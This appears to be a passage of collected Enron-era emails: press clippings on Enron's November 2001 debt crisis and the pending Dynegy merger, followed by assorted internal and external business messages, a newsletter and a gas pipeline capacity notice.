estors seemed to be afraid to hold Enron stock over the Thanksgiving weeken=
d, traders said. The stock market is closed today and open Friday for an ab=
breviated session--traditionally the lightest trading day of the year.=20
Enron shares plummeted 23% on Tuesday in reaction to a filing Monday with t=
he Securities and Exchange Commission in which Enron disclosed the $690-mil=
lion obligation. The disclosure was a surprise even to the credit rating ag=
encies that have been in constant contact with Enron executives since the c=
ompany's finances began unraveling last month.=20
The rating agencies' view is critical, because under some controversial Enr=
on deals that have come to light recently, a downgrade to junk level would =
be a "trigger event" requiring Enron to immediately pay $3.9 billion to cre=
ditors, the company said in Monday's SEC filing.=20
Such an event could instantly bankrupt the company, analysts said.=20
Enron has been reeling since mid-October, when it began disclosing details =
of deals involving limited partnerships organized by current or former comp=
any executives. The partnerships' purpose appears partly to have been to pu=
mp up Enron's reported profit while concealing large amounts of debt it was=
 incurring.=20
The SEC has announced that it is investigating the situation.=20
In addition to announcing the delayed payment, Enron said Wednesday that it=
 had tapped the remaining $450 million of a previously announced $1-billion=
 credit line from its chief lenders, J.P. Morgan Chase & Co. and Citigroup =
Inc.=20
Enron probably can restructure its debts and postpone most payments until M=
ay, analyst Ronald M. Barone of Standard & Poor's rating agency said Wednes=
day. It is in the lenders' interest to cooperate, as much of Enron's debt i=
s unsecured by hard assets, and the banks would stand to lose most of their=
 principal in a bankruptcy, he said.=20
Dynegy broke its recent silence Wednesday by issuing a statement in which C=
hairman and Chief Executive Chuck Watson said he was "encouraged" by the ne=
ws of Enron's agreements with its lenders.=20
Dynegy is "working to accelerate the regulatory approvals required to compl=
ete the merger," Watson said, adding that oil giant ChevronTexaco Corp., wh=
ich owns 26% of Dynegy's stock, reiterated its support for the deal.=20
Ratcheting up the pressure on Enron, another credit rating agency, Fitch In=
c., issued a statement Wednesday listing its own concerns. Enron's energy t=
rading partners seem to be demanding more cash collateral and reducing thei=
r exposure to Enron, which calls into question the ongoing value of the com=
pany's core trading business, Fitch said.=20
Although Dynegy has reiterated its intention to complete the merger, Enron'=
s problems make renegotiating the merger terms or canceling the deal a poss=
ibility, Fitch said.=20
ems untenable, with a bankruptcy filing highly possible," Fitch said.=20
If the merger falls through, Dynegy still will retain the right to purchase=
 Enron's Northern Natural Gas Co. pipeline system for $1.5 billion.=20
However, analyst Andre Meade of Commerzbank Securities said he believes Dyn=
egy still is mainly interested in the trading franchise.=20
"I don't think it's worth Dynegy's while to go through all this pain if the=
y just want to pick up assets [such as the pipeline] on the cheap," Meade s=
aid.

Enron Stock Declines Further On Release of Regulatory Filing --- Document R=
eveals Potential Fresh Problems
By John R. Emshwiller
Staff Reporter

The Asian Wall Street Journal=20
M7

Enron Corp.'s stock and bond prices took another beating after the energy c=
ompany's release late Monday of its much-anticipated third-quarter financia=
l filing with the U.S. Securities and Exchange Commission. This revealed po=
tentially major new cash-flow and earnings headaches.=20
As of 4 p.m. in New York Tuesday, Enron shares were at $6.99, down $2.07, o=
r 23%. Enron once again topped the exchange's most-active list with 89.9 mi=
llion shares traded, more than twice the volume of the next most active sto=
ck.
Enron bond prices fell into the range of between 70 cents and 80 cents on t=
he dollar, according to market observers. Following the announcement earlie=
r this month of Dynegy Inc.'s plan to buy Enron for around $10 billion in s=
tock, bond prices had firmed to above 80 cents on the dollar.=20
A Dynegy spokesman Tuesday wouldn't comment on the status of the pending ac=
quisition, other than to say his company was reviewing Enron's third-quarte=
r financial report, filed with the SEC, as part of continuing "due diligenc=
e." Under the proposed acquisition, Dynegy would exchange 0.2685 of its sha=
res for each Enron share. Based on Dynegy's 4 p.m. price Tuesday of $41.70 =
a share, off $1.90, the deal values Enron shares at about $11.20 -- well ab=
ove the current market price.=20
Monday's third-quarter financial report from Enron, which supplemented and =
revised Enron's earnings announcement last month, reinforced fears that the=
 energy-trading company is in a "precarious financial position and will be =
for awhile," said Andre Meade, head of U.S. utility research at Commerzbank=
 Securities.=20
Enron's SEC filing Monday said that because of the company's deteriorated c=
redit standing, it might have to repay a $690 million note by this coming M=
onday. The filing also said Enron might be forced to take a $700 million pr=
etax charge to earnings in the current quarter, ending Dec. 31, due to a dr=
op in value of some of its assets.=20
Houston-based Enron has been in deepening financial distress for the past m=
onth, since announcing big asset and shareholder-equity reductions in the t=
hird quarter.

FRONT PAGE - FIRST SECTION - Enron granted breathing space.
By ROBERT CLOW, ANDREW HILL, SHEILA MCNULTY and GARY SILVERMAN.

FRONT PAGE - FIRST SECTION - Enron granted breathing space - US energy grou=
p postpones $690m in repayments as it fights for survival.=20
Enron, the crisis-hit US energy trader, won a stay of execution from its le=
nders yesterday but remained on a knife edge as it struggled to restore the=
 confidence of customers, bankers and investors.
The former stock market star said repayment of $690m ( #479m) of outstandin=
g notes would be postponed from next Tuesday to "mid-December". The group a=
lso said it had finalised the remaining $450m of a $1bn credit line from JP=
 Morgan Chase and Salomon Smith Barney, part of Citigroup.=20
Enron's survival is crucial to the smooth functioning of the US energy mark=
et, which the group dominates. Its failure would also have severe repercuss=
ions in the wider financial markets, where Enron offsets much of the risk o=
f energy price changes.=20
Negotiations with lenders are set to continue through today's Thanksgiving =
holiday, according to people close to the talks.=20
Whether Enron can survive depends on the commitment of Dynegy, rival US ene=
rgy group, to its $9bn rescue takeover bid, announced two weeks ago. Dynegy=
 said yesterday it was "encouraged" that Enron had progressed in boosting i=
ts liquidity and it was continuing the "due diligence" review of Enron's op=
erations.=20
Some analysts believe Enron will burn through its cash balances of $1.2bn b=
efore the Dynegy deal can be completed next year.=20
David Fleischer of Goldman Sachs, one of the last remaining bulls on Enron,=
 downgraded the stock yesterday, pointing out that cash balances were inade=
quate to pay off debt obligations of $2.8bn by the end of the year.=20
One person close to the talks with lenders said Enron had a medium-term pla=
n for restructuring $9.15bn of debt due by the end of next year. Jimmy Lee,=
 vice-chairman of JP Morgan Chase, said the bank would work to "strengthen =
Enron's financial position up to and through its merger with Dynegy".=20
In morning trading yesterday, Enron's stock fell 33 per cent before it anno=
unced the extension of the $690m repayment. The group's bonds had also fall=
en to levels that suggested Enron faced bankruptcy.=20
By lunchtime in New York the stock had recovered slightly and was trading a=
t $4.97, 29 per cent lower on the day. The shares started the week at $9, b=
ut a regulatory filing by Enron on Monday that detailed the extent of its d=
ebt prompted traders to limit exposure before Thanksgiving.=20
Additional reporting by Gary Silverman and Robert Clow .. Lex, Page 22 Enro=
n seeks sale, Page 24.=20

Lenders throw Enron lifeline but Dynegy is main rescue hope
NEIL HUME I N NEW YORK

The Guardian=20
Copyright (C) 2001 The Guardian; Source: World Reporter (TM)=20

Enron, the debt-stricken energy trading group that owns Wessex Water, was t=
hrown a lifeline yesterday by its lenders who postponed the repayment of a =
$690m (pounds 487m) loan due next week. But its survival still depends on w=
hether its smaller rival Dynegy goes ahead with its $9.6bn rescue takeover.=
=20
Last night Dynegy said it was encouraged by the agreement and was seeking w=
ays to speed up regulatory clearance of the deal that would create the domi=
nant force in US energy trading.
Enron shares, which touched $4.55 - their lowest price since February 1989 =
- before the banks announced that the repayment deadline would be extended =
from next Tuesday to mid-December, were down in afternoon trading yesterday=
 by $1.74 at $5.25.=20
Enron also said it had drawn down the remaining $450m of a $1bn secured cre=
dit line from JP Morgan and Schroder Salomon Smith Barney.=20
"We have been in contact with our banks and believe we can identify a mutua=
lly beneficial restructuring to enhance our cash position, strengthen our b=
alance sheet and address upcoming maturities," said Jeffrey McMahon, Enron'=
s chief financial officer=20
This week, Enron shares went into yet another free fall following the publi=
cation of a third-quarter filing with the securities and exchange commissio=
n in which the company warned that last week's credit rating downgrade by S=
tandard & Poor's would trigger the repayment of the $690m loan on Tuesday. =
Enron also revealed it would have to repay $9.15bn of debt by the end of ne=
xt year.=20
That news sparked fears that Enron might run out of cash before the Dynegy =
takeover. Both firms estimated it could take six to nine months to gain reg=
ulatory approval without special dispensation.=20
Dynegy is offering 0.2685 shares for each Enron share and under the terms o=
f the deal can walk away if Enron's problems turn out to be worse than prev=
iously thought.=20
Yesterday's agreements will help restore confidence among Enron's customers=
, seen as the key to the deal. The energy trading division is Enron's main =
profit engine and the major attraction for Dynegy.=20
In the past two months Enron has suffered a fall from grace. It shares have=
 lost 90% of their value since it sacked its finance director Andrew Fastow=
 in October for unusual transactions carried out off balance sheet. These f=
orced it to take a $1bn charge and cut shareholder equity by $1.2bn.=20
To shore up its financial position, Enron is likely to sell Wessex Water, f=
or which it paid pounds 1.4bn in 1998, and a number of gas-fired power stat=
ions, including the high performing 1,900MW Teesside plant.

M and A
Dynegy aims for quick merger with Enron
by Padraic Cassidy

The Daily Deal=20
Copyright (c) 2001 The Deal LLC=20

Prompted by Enron's recent stock sell off, Houston energy trader Dynegy is =
trying to quicken the pace of the companies' $24 billion merger.=20
After watching Enron Corp.'s stock plummet at the start of a short holiday =
week, Houston energy trader Dynegy Inc. said Wednesday it would try to quic=
ken the pace of the companies' $24 billion merger.
Prompting Dynegy's statement was Enron's announcement that it closed on $45=
0 million of a promised $1 billion line of financing from J.P. Morgan Chase=
 & Co. and Salomon Smith Barney Inc., secured by the assets of its subsidia=
ry, Northern Natural Gas Co.=20
Dynegy, which has agreed to acquire crosstown rival Enron in an all-stock d=
eal, said it was encouraged by the development and was working to accelerat=
e the transaction.=20
The companies announced Nov. 9 their intent to merge in a deal that was val=
ued at $24 billion, including $13 billion in Enron debt.=20
Enron's stock price has plummeted since the company acknowledged the Securi=
ties and Exchange Commission was investigating its financial disclosures an=
d trading activities.=20
Dynegy said the financing terms also pleased ChevronTexaco Corp., which own=
s 29% of Dynegy.=20
ChevronTexaco agreed to pump $2.5 billion of new equity into Dynegy, $1.5 b=
illion of which immediately will be channeled into Enron and $1 billion at =
closing.=20
Dynegy will use the initial $1.5 billion to acquire preferred stock and oth=
er rights in an Enron subsidiary that owns the Northern Natural Gas pipelin=
e system. The funds will give Enron additional cash liquidity to support it=
s operations.=20
Enron, which last week closed on $650 million of financing secured by its T=
ranswestern Pipeline Co., also said it is in discussions with its primary l=
enders to make a formal postponement to mid-December of a $690 million paym=
ent that is due Tuesday.=20
"We believe the interests of Chase and Enron's other primary lenders are al=
igned in this restructuring effort," said James B. Lee, vice chairman of J.=
P. Morgan.=20
-- Padraic Cassidy=20
www.TheDeal.com

Enron Tries to Pacify Worries as More Investors Decide to Sell Shares
Charlene Oldham

KRTBN Knight-Ridder Tribune Business News: The Dallas Morning News - Texas=
=20

Faltering Houston energy trader Enron Corp. tried to calm investors' worrie=
s Wednesday, announcing progress in relieving its debt situation, but its s=
tock lost a quarter of its value for the second day in a row.=20
At one point Wednesday, shares hit a 12-year low, touching $4.55.
The stock partially recovered after the company said it negotiated a three-=
week extension on a $690 million note that became due next week after the c=
ompany's debt rating deteriorated.=20
Enron also said it closed on the remaining $450 million of a previously ann=
ounced $1 billion line of credit and is trying to restructure other debt.=
=20
Still, counting debts owed at the parent company and a subsidiary, Enron ne=
eds to raise nearly $1 billion to pay off notes coming due in the next mont=
h or so, said Scott Keller, an analyst at DealAnalytics.com.=20
Shares closed at $5.01, down $1.98, or 28 percent, in New York Stock Exchan=
ge trading.=20
Around 115.6 million shares changed hands, making it the most active stock =
on U.S. exchanges Wednesday.=20
Until its recent downfall, Enron was regarded as a high-flier among energy =
companies, having diversified from its natural gas roots to the electricity=
 trading and telecommunications industries. The stock hit a 52-week high of=
 $84.88 late last year.=20
An investigation by the Securities and Exchange Commission this fall led to=
 the restatement of Enron's earnings back to 1997 and the disclosure of a n=
umber of complex and questionable partnerships -- some run by the company's=
 chief financial officer.=20
Mr. Keller said Wednesday that it's crucial that a special committee appoin=
ted by the company's board complete an internal investigation of financial =
dealings that prompted the SEC probe.=20
"Once your short-term liquidity runs out, it doesn't matter who wants to bu=
y you," Mr. Keller said=20
Although both Enron and Dynegy reaffirmed their commitment to a merger Wedn=
esday, analysts said Enron could be facing a bankruptcy filing long before =
a buyout if it doesn't restore enough confidence to raise the funds it need=
s.=20
The merger deal between Dynegy and Enron -- announced Nov. 9 --allows Dyneg=
y to back out of the transaction should there be a "material adverse change=
" in conditions.=20
Houston-based Dynegy could also decide to renegotiate the terms of the deal=
, which currently prices Enron at about $11 a share.=20
Considering Enron's credit problems and the growing number of companies can=
celing transactions with the energy trader, analysts are increasingly uncer=
tain that the deal will close at any price.=20
"What Dynegy is buying more than anything else is the trading operations," =
said Edward Jones analyst Brian Youngberg. "A week ago, I would have said t=
here was a 90 percent chance that this deal would go through. Now, I would =
say it's 50-50."=20
Early Wednesday, Goldman Sachs lowered its rating on Enron's stock. CIBC Wo=
rld Markets also cut Enron to a "hold" from a "buy."=20
And Mr. Youngberg lowered his rating to "sell" late Tuesday.=20
"Individual investors who are buying the stock now are really gambling with=
 their money," he said.=20
Indeed, those who are still holding Enron stock are in an all-or-nothing gu=
essing game, analysts said. Should they sell out now or hold on with the ho=
pe that the Dynegy deal will go through before Enron faces bankruptcy?=20
Lately, investors have been deciding in droves to sell. Enron has logged an=
 average daily trading volume of 47 million shares for the last month, comp=
ared with 2.1 million shares trading each day this time last year.=20
"What the market activity represents is the increasing uncertainty about wh=
ether you're going to get $10 or $11 or zero," Mr. Keller said.

Kay-attached is a summary of the enforceability of consequential damages
clauses under the laws of Mississippi.  Greg Evans prepared the summary and
can answer any questions in my absence.  Greg can be reached at
713-751-3279.  I'll be on the road until Monday, but can retrieve e-mails
and voice mails.

 <<2X0#01!_.doc>>

 - 2X0#01!_.doc

Andrew - here are my comments as shown on the attached marked draft. 

If anyone else has other comments, please let me know as soon as possible. 

Justin

	From:  Andrew.Wilkinson@cliffordchance.com                           20/07/99 
17:08
	
To: lkitchen@enron.co.uk, ssefton@enron.co.uk, jboyd@enron.co.uk, 
ekapralova@enron.co.uk, Mark - ECT Legal Taylor/HOU/ECT, 
pgoddard@enron.co.uk, ecooper@enron.co.uk, 
Christopher.Millard@cliffordchance.com, Timothy.Hughes@cliffordchance.com
cc:  (bcc: Justin Boyd/LON/ECT)
Subject: Legal & Privacy Statement

 <<Legal and Privacy.doc>>  <<Legal and Privacy.rtf>>

Further to our conference call yesterday, please find attached a revised
draft of the Legal and Privacy statement with a further copy marked up to
show the changes from the previous draft.

I have changed the trade mark wording in the first clause.  This should be
sufficient wording to identify third party trade marks used on the website
provided that you are only using those third party trade marks in order to
identify third party products and, of course, are not using them in order to
trade.

In Clause 2, I have stated that the ETA and other general terms and
conditions are available by writing to your head of legal.  As I have
mentioned before, my preference would be for the ETA to be available to a
counterparty at the time of signing the Password Application.  This would
help to avoid any potential argument by a counterparty that the terms of the
ETA have not been incorporated by reference at the time of signing the
Password Application because the counterparty did not know what it was
signing.  Nonetheless, I understand that you do not wish to do this and will
rely upon the counterparty printing off the ETA prior to clicking its
acceptance to it on the website.

Do you want the counterparties to also be able to get copies of the General
Terms and Conditions by writing to you or should this just be restricted to
the ETA?

Finally, I have incorporated changes into the disclaimer to avoid the need
for the Read Only ETA.  However, it will be important to ensure that when
allocating passwords on a read only basis, it is made clear to the
counterparty that they cannot trade on the website and that you are entitled
to terminate their access at any time immediately with or without notice.
Clearly, the read only access must allow the counterparty to open and read
the Legal and Privacy statement.

I look forward to receiving your comments on this.

Andrew Wilkinson

 - Legal and Privacy.doc
 - Legal and Privacy.rtf

Sasha Jacob indicated this a.m. that he does expect that Harris will announce his resignation at 10:30 am EST.  Assuming this occurs, I will immediately proceed to instruct GPC to modify the communications plan/strategy that GPC is in the process of developing and that I had a scheduled meeting to review with Tom McLaren in Calgary on Thursday.    

The leadership race will be a one member one vote process and Sasha expects Ontario will have a new Premier within 3 months.

I'll advise once I know more.

Regards,

Rob 

From: 	Devries, Paul  
Sent:	Tuesday, October 16, 2001 6:26 AM
To:	Gaffney, Chris; Hemstock, Robert
Cc:	Milnthorp, Rob; Keohane, Peter
Subject:	RE: Harris resignation rumours

Also Brian Purchase??  Rob, please check with your lobbyists and get a gauge from them.  It may make sense for you (and possibly me) to have some meetings with the likely successor to introduce yourself and reiterate our message...

Cheers, Paul D

From: 	Gaffney, Chris  
Sent:	Tuesday, October 16, 2001 7:47 AM
To:	Hemstock, Robert
Cc:	Milnthorp, Rob; Devries, Paul; Keohane, Peter
Subject:	Harris resignation rumours

Rob - The lead story on CBC this morning is the rumour that Premier Harris may resign as early as today.  What can we do to understand how this effects market opening?  

The most likely successor is the Finance Minister Flaherty.  This would be good news as he is the most right wing of them all.  There are also rumours about Janet Eckker (sp?) whom I believe is the Minister of the Environment.  She leans left of center.

Regards
CJG

Stacey:

Starting from May 2001, per Chris Foster and Tim Belden's agreement, Chris 
Foster is calculating the origination based on the entire book P&L for the 
month, therefore basically for every deal in certain books. 

For example, he got the origination for May by the formula below:
Mid-Market Origination for May = agreed percentage * (YTD P&L as of May 31, 
2001 - YTD P&L as of April 30, 2001) 

The agreed percentage varies for each book, and for the questioned books they 
are as below:
LT-NW 12%
LT-CA 8%
LT-WMGMT 12%

Please advise how we should proceed to respond to AA.

Thanks,
Fran
503.464.7973
From:  White, Stacey  
Sent: Monday, June 18, 2001 3:45 PM
To: Postlethwaite, John; Chang, Fang; Law, Samantha; Dunton, Heather
Subject: May Originations

Arthur Andersen needs detail of the following originated amounts.  Please 
forward them the information they need, but make sure you only send what they 
ask for.  Also, please cc: me on the response to AA.

Stacey
---------------------- Forwarded by Stacey W White/HOU/ECT on 06/18/2001 
05:44 PM ---------------------------

jennifer.h.staton@us.andersen.com on 06/18/2001 05:15:27 PM
To: stacey.w.white@enron.com
cc: jennifer.l.muse@us.andersen.com 

Stacey,

In reviewing the originations detail, we noted the following origination
values related to "multiple deals":

   Originated- 5/31/01, EGS Origination- Power Middle Market-West, LTNW,
   Origination Value- $1,115,430, Originator- Chris Foster
   Originated- 5/31/01, EGS Origination- Power Middle Market- West, LTCA,
   Origination Value- $4,300,600, Originator- Chris Foster
   Originated- 5/31/01, EGS Origination- Power Middle Market- West,
   LTWMgmt, Origination Value- $4,386,660, Originator- Chris Foster

Please provide clarification of which deals the origination value pertains
to so that we may obtain documentation from Kim Theriot.  Thank you for
your help.  If you have any questions, please call me at X6-6269.

Jennifer

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      <p>Dear Eric,</p>
<!-- This mail was sent to "Eric Saibi" <eric.saibi@enron.com>, who belongs to list
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<p><b>Enron investigations are</b> going strong in Washington.  On
Thursday, we'll watch the <b>closed-door meeting between Congressional
investigators and the former Andersen auditor</b> who handled the Enron
account.  Andersen fired <b>David Duncan</b> on Tuesday for destroying
documents, and now <b>Duncan is said to be cooperating with the House
Energy and Commerce Committee investigation</b>.
<p><b>Congress returns next week</b> and on Thursday we'll bring you
updates from our Washington bureau on the <b>debate to come in 2002 over
energy emissions policy</b>.  We'll also have details on <b>a new report
to be released tomorrow</b> in Washington that <b>could impact the
emissions debate</b>.
<p>Finally from Washington, Correspondent Alison Kosik will take us for
a test drive on the highly anticipated <b>Segway Human Transporter</b>.
Alison will give us the inside scoop on an <b>invention that some people
believe could hold major implications for the energy sector</b>.
<p><b>Lawsuits continue to fly at Enron</b> - the Houston bureau will
have a report on the most <b>current suit representing more than 30,000
Houston area teachers</b>.  We'll hear from the attorney representing
them, <b>Fleming & Associates' Sean Jez</b>, from the bureau on
Thursday.
<p>A new <b>nonprofit organization</b> in Houston is <b>helping new
businesses being formed by ex-Enron employees</b>.  On Thursday from the
Houston bureau, <b>Resource Alliance Group Executive Director John
Elder</b> will join us to talk about the group.  Catch Elder during the
10:00 a.m. ET newscast tomorrow.
<p>The Houston bureau will also bring us a <b>report on an ERCOT
workshop</b> being held in Houston on Thursday.  <b>Henwood Energy
Services is hosting the workshop</b>, which will address the
<b>implications of overcapacity for power portfolio strategy and
results</b>.
<p><b>Raymond James & Associates Senior Energy Analyst Jon
Cartwright</b> talks to ENL's Kym McNicholas about <b>Calpine's new
capital expenditures plan and lowered earnings projections for 2002</b>.
Cartwright will join us during the 3:00 p.m. ET newscast on Thursday.
<p>Finally, Kym will bring us an update on <b>Southern California
Edison's recovery plan</b> and the obstacles ahead.  Join us for these
reports from the West Coast bureau on Thursday.
<p><table cellpadding=1 cellspacing=0 border=1 bordercolor="#000000"
width=350>
<tr bgcolor="#cccccc"><td align=center><font color="#000000"
face="verdana,arial,helvetica" size=-1><b>Closing
Prices for Wednesday, Jan. 16, 2002</b></font></td></tr>
<tr><td align=left>
	<table cellspacing=2 cellpadding=0 border=0>
		<!--<tr><td width=5>&nbsp;</td>
			<td align=left width=100>Commodity:</td>
			<td align=right width=75>Close Price</td>
			<td align=right width=100>Change
Price</td></tr>-->
		<tr><td width=5>&nbsp;</td>
			<td align=left width=150><font
face="verdana,arial,helvetica" size=-1>Crude:</font></td>
			<td align=left width=125><font
face="verdana,arial,helvetica" size=-1>$18.86/bbl</font></td>
			<td align=left width=75><font
face="verdana,arial,helvetica" size=-1>-$0.04</font></td></tr>
			<td align=left><font
face="verdana,arial,helvetica" size=-1>Unleaded:</font></td>
face="verdana,arial,helvetica" size=-1>$0.5585/gallon</font></td>
face="verdana,arial,helvetica" size=-1>+$0.0065</font></td></tr>
face="verdana,arial,helvetica" size=-1>Heating&nbsp;Oil:</font></td>
face="verdana,arial,helvetica" size=-1>$0.5321/gallon</font></td>
face="verdana,arial,helvetica" size=-1>+$0.0114</font></td></tr>
face="verdana,arial,helvetica" size=-1>Gas:</font></td>
face="verdana,arial,helvetica" size=-1>$2.394/mmBtu</font></td>
face="verdana,arial,helvetica" size=-1>+$0.103</font></td></tr>
face="verdana,arial,helvetica" size=-1>Fwd&nbsp;uE(Feb.):</font></td>
face="verdana,arial,helvetica" size=-1>$3.69/mmBtu</font></td>
face="verdana,arial,helvetica" size=-1>+$0.08</font></td></tr>
	</table>
</td></tr>
</table>
<p>Keep in mind things are subject to change at a moment's notice.
Occasionally guests have to reschedule or change time slots.  We'll
continue to do our best to keep you updated on future interviews and
events.
<p><b>Be sure to watch our newscasts every business day - 9 a.m. to 5
p.m. ET, at the top of each hour.</b>

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This email is just to let you know that we have received your return. The
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subsequent billing statement.

If you have any additional questions or comments, please email us at
service@bn.com. Or, if you prefer, you may call our Customer Service
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States should call us at 1-201-750-4426).  Either way, our Customer
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	&nbsp; &nbsp; &nbsp;<font face="verdana" size="-1">LYDIA CANNON is now enrolled in:</font>
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	&nbsp; &nbsp; &nbsp;<font face="verdana" size="-1">1400 Smith Street</font><br>
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Dear all,

Please find attached the West Prices for 5/1/01.

Regards,
Samantha
503-464-7248

How about...I'll be in London?  Seriously!  It never
fails!  Must be karma-something!  No spring break and
no b-day celebrations for me...just hoof and mouth
disease.  I'll miss you all...who's birthday's are
next?  I'll just have to save my celebrations up, I
guess.
Always something,
Courtney

--- "Kelly, Jacqueline" <Jacqueline.Kelly@schwab.com>
wrote:
> Since I forgot to send something out sooner for
> dinner this Thursday, and
> after 5 semesters at Haas we finally get a Spring
> Break, lets get together
> and catch up next Wednesday.
>
> I was thinking dinner in the city (baby's and s/o's
> invited) and no excuses,
> Courtney!  :)
>
> I could have it in the Mission or Noe Valley to make
> it easier for our
> friends in the peninsula - any suggestions?
>
> We also have two birthdays to celebrate: Teddy and
> Paul.
>
> Hope to see you next week!
>
> -Jackie
>
> Jacqueline Kelly
> Treasury
> Charles Schwab & Co, Inc
> (415) 667-3915
>
> Warning: All e-mail sent to or from this address
> will be received or
> otherwise
> recorded by the Charles Schwab corporate e-mail
> system and is subject to
> archival, monitoring or review by, and/or disclosure
> to, someone other than
> the
> recipient.
>
>

> ATTACHMENT part 2 application/ms-tnef

Get email at your own domain with Yahoo! Mail.

I know you are just a spy so she can keep track of the progress of my 
garden.  Why, just the other day I came home from work and caught her in my 
backyard!!

The following updates have been made to the EnronOnline Website and should be 
available to all customers on their login today:

- Ability to type in volumes in the Submission Box (rather than just using 
the arrows)
- Removal of the "Hour Glassing" effect (in which the browser acted like the 
site was still loading when it was in fact finished)
- New code to fix the caching server issues which prevented some customers 
from successfully upgrading
- Addition of Dow Jones News Feeds (automatic for appropriate categories)

If you have any questions on the above, please contact the EnronOnline Help 
Desk at:

Americas: 713 853 4357
Europe: + 44 (0)20 7783 7783
Australia/Asia: +61 2 9229 2300

Dave

yes, send to dennis

04/10/2001 11:33 AM
Stacy Walker@ENRON COMMUNICATIONS
To: Steven J Kean/NA/Enron@ENRON
cc: Maureen McVicker/NA/Enron@ENRON 

Subject: Budget transition info

Hi, Steve - 

Dennis Vegas has requested budget information from Kelly on the people from 
EBS that are transferring over to Corp.  Kelly is on vacation now, for the 
next week and a half, and I wanted to check with you to make sure that it is 
OK to share these documents with him.  They are what Kelly reviewed with you 
in your initial meeting regarding the subject.  He only asked for information 
on the people shifting to Corp, not the people on redeployment, so I could 
delete that portion of these documents.  Perhaps I could only send him the 
first document that is about budget, but with the redeployment information 
taken out.

Sorry to bother you, but I am concerned about doing the right thing and 
following protocol in Kelly's absence.

Thanks, Stacy

PMG just called and offered $100 k and no brokerage as a best offer for Nat 
Gas Henry hub Products only.  I think we should take it.

Start Date: 2/2/02; HourAhead hour: 6;  No ancillary schedules awarded.  No variances detected. 

PARSING FILE -->> O:\Portland\WestDesk\California Scheduling\ISO Final Schedules\2002020206.txt

Jim,

 I would appreciate your help in locating financing for the project I 
described to you last week.  The project is a 134 unit apartment complex in 
San Marcos.  There will be a builder/developer plus myself and possibly a 
couple of other investors involved.  As I mentioned last week, I would like 
to find interim financing (land, construction, semi-perm) that does not 
require the investors to personally guarantee.  If there is a creative way to 
structure the deal, I would like to hear your suggestions.  One idea that has 
been mentioned is to obtain a "forward commitment" in order to reduce the 
equity required.  I would also appreciate hearing from you how deals of this 
nature are normally financed.  Specifically, the transition from interim to 
permanent financing.  I could use a quick lesson in what numbers will be 
important to banks. 

 I am faxing you a project summary.  And I will have the builder/developer 
email or fax his financial statement to you.

 Let me know what else you need.  The land is scheduled to close mid January.

                      COLUMBIA GAS TRANSMISSION CORPORATION
                                OCTOBER 12, 2001

Notice ID: 3177
5 - NO RESPONSE REQUIRED

SUBJECT: CAPACITY UPDATE EFFECTIVE FOR MONDAY, OCTOBER 15, 2001

                  CHANGES ARE INDICATED WITH AN *

Effective Monday, October 15, 2001,  capacities will be as follows:

Excess MDWQ              Available +
ISS Withdrawals          Available
SIT Withdrawals          Available
Imbalance Drawdowns      Available
PAL Lends/Unparks        Available

Excess MDIQ              NOT Available +
ISS Injections           NOT Available
SIT Injections           NOT Available
Imbalance Paybacks       NOT Available
PAL Parks/Loan Paybacks  NOT Available

+ Call Gas Control 24 hours in advance at (304) 357-2606 to request approval.

Non-firm receipt capacity will be as follows:

TENNESSEE:

Brinker (B12)            10,000
Broad Run (B9)          200,000
Cambridge (B10)          20,000
Dungannon (B11)          20,000
Highland (B17)           15,000

NOTE: GAS RECEIVED AT HIGHLAND MUST BE DELIVERED IN THE NORTHERN PORTION OF
MARKET AREA 38 OR THE NORTHWEST LATERAL OF MARKET AREA 36, DIRECTLY NORTH OF
HIGHLAND.

Milford (B18)            20,000
North Greenwood (B22)         0
Unionville (B15)         50,000

NOTE:  EFFECTIVE THURSDAY, AUGUST 16, 2001, ANY SHIPPER UTILIZING A CONTRACT
THAT HAS A PRIMARY RECEIPT POINT(S) WITH THE FOLLOWING POINTS, MUST UTILIZE
THESE POINTS:

         Brinker       (B12)
         Cambridge     (B10)
         Dungannon     (B11)
         Highland      (B17)
         Milford       (B18)
         Unionville    (B15)

TEXAS EASTERN:

Delmont (C16)                 0
Eagle (C22)              20,000
Hooker (C9)              20,000
Pennsburg (C23)          20,000
Windridge (C12)          20,000

NATIONAL FUEL:

Independence (M1)             0
Ellwood City (L1)        15,000

TRANSCO:

Downingtown (E3)          2,500
Emporia I (E13)          60,000 *
Rockville (E2)                0
Dranesville (E1)              0

ALGONQUIN:

Ramapo (R1)              75,000

ANR:

Paulding/Cecil           30,000 *
(F1, A2)

LEBANON AGGREGATE        75,000
(A4, F2, C4, D3)

TOLEDO AGGREGATE         50,000
(A3, F4, 734462)

COLUMBIA GULF:
(801)

TCO-Leach               500,000

Internal point non-firm capacity will be as follows:

Lanham                No Restrictions

Delivery capacity (non-firm) will be as follows:

TRANSCO:

Martins Creek            10,000
  (MLI E5)
Young Woman's Creek      10,000
  (MLI E9)

Hanover                       0
  (MLI R2)

EQUITRANS:

Fallen Timber            31,000
  (MLI K1)

Waynesburg-Rhinehart     20,000
  (MLI K2)

OPT-30 will be available in all market areas.
OPT-60 will be available in all market areas.

Market Area delivery capacity (non-firm) will be as follows:

Operating Area 1
     Market Area 33       No Restrictions
     Market Area 34       No Restrictions

Operating Area 2
     Market Area 20       No Restrictions

Operating Area 3
     Market Area 15       No Restrictions
     Market Area 16       No Restrictions
     Market Area 17       No Restrictions
     Market Area 18       No Restrictions
     Market Area 19       No Restrictions

Operating Area 4
     Market Area 21       No Restrictions
     Market Area 22       No Restrictions
     Market Area 23       No Restrictions
     Market Area 24       No Restrictions
     Market Area 25       No Restrictions
     Market Area 29       No Restrictions

Operating Area 5
     Market Area 02       No Restrictions
     Market Area 07       No Restrictions

Operating Area 6
     Market Area 10       No Restrictions
     Market Area 11       No Restrictions
     Market Area 12       No Restrictions
     Market Area 13       No Restrictions
     Market Area 14       No Restrictions

Operating Area 7
     Market Area 01       No Restrictions
     Market Area 03       No Restrictions
     Market Area 04       No Restrictions
     Market Area 05       No Restrictions
     Market Area 06       No Restrictions
     Market Area 08       No Restrictions
     Market Area 09       No Restrictions

Operating Area 8
     Market Area 26       No Restrictions
     Market Area 27       No Restrictions
     Market Area 32       No Restrictions
     Market Area 35       No Restrictions
     Market Area 36       No Restrictions
     Market Area 38       No Restrictions
     Market Area 39       No Restrictions
     Market Area 40       No Restrictions

NOTE:  GAS DELIVERED IN THE NORTHERN PORTION OF MARKET AREA 38 OR THE NORTHERN
PORTION OF MARKET AREA 36 MUST BE RECEIVED FROM TENNESSEE GAS PIPELINE AT
HIGHLAND.

Operating Area 10
     Market Area 28       No Restrictions
